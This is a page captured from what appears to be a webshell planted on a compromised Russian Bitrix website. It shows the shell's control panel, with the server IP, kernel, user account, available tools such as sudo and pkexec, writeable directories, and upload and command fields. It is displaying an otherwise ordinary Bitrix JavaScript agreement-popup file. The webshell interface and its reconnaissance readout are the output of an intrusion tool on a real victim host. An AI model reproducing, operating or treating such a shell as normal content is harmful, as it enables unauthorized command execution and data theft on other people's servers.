403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/sender/agreement/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/sender/agreement/script.js
;(function ()
{
	BX.namespace('BX.Sender');
	if (BX.Sender.Agreement)
	{
		return;
	}

	function Agreement()
	{
		this.actionUri = '/bitrix/components/bitrix/sender.letter.list/ajax.php';
		this.isAccepted = !BX.message.SENDER_AGREEMENT_IS_REQUIRED;
		if (!this.isAccepted)
		{
			var self = this;
			BX.ready(function () {
				self.showPopup();
			});
		}

		this.ajaxAction = new BX.AjaxAction(this.actionUri);
	}
	Agreement.prototype.onApply = function ()
	{
		this.isAccepted = true;

		var waitClassName = 'popup-window-button-wait';
		this.button.addClassName(waitClassName);

		var self = this;
		this.ajaxAction.request({
			action: 'acceptAgreement',
			onsuccess: function () {
				BX.Event.EventEmitter.emit('BX.Sender.Agreement:onAccept');
				self.popup.close();
			},
			onfailure: function () {
				self.popup.show();
				self.button.removeClassName(waitClassName);
			}
		});
	};
	Agreement.prototype.onClose = function ()
	{
		if (this.isAccepted)
		{
			return;
		}

		top.location.href = '/';
		setTimeout(this.popup.show.bind(this.popup), 0);
	};
	Agreement.prototype.showPopup = function ()
	{
		if (!this.popup)
		{
			this.button = new BX.PopupWindowButton({
				text: BX.message('SENDER_AGREEMENT_BUTTON_ACCEPT'),
				className: "popup-window-button-accept",
				events: {
					click: this.onApply.bind(this)
				}
			});
			this.popup = BX.PopupWindowManager.create(
				'sender-agreement-popup',
				null,
				{
					content: '<div class="sender-agreement-wrap">' + BX.message('SENDER_AGREEMENT_TEXT') + '</div>',
					titleBar: BX.message('SENDER_AGREEMENT_TITLE'),
					maxHeight: 400,
					maxWidth: 860,
					autoHide: false,
					lightShadow: false,
					overlay: {
						opacity: 500,
						backgroundColor: 'black'
					},
					closeByEsc: false,
					closeIcon: true,
					//contentColor: 'white',
					buttons: [
						this.button
					],
					events: {
						'onPopupClose': this.onClose.bind(this)
					}
				}
			);
		}

		if (this.popup.isShown())
		{
			return;
		}

		this.popup.show();
	};

	BX.Sender.Agreement = new Agreement();

})(window);

Youez - 2016 - github.com/yon3zu
LinuXploit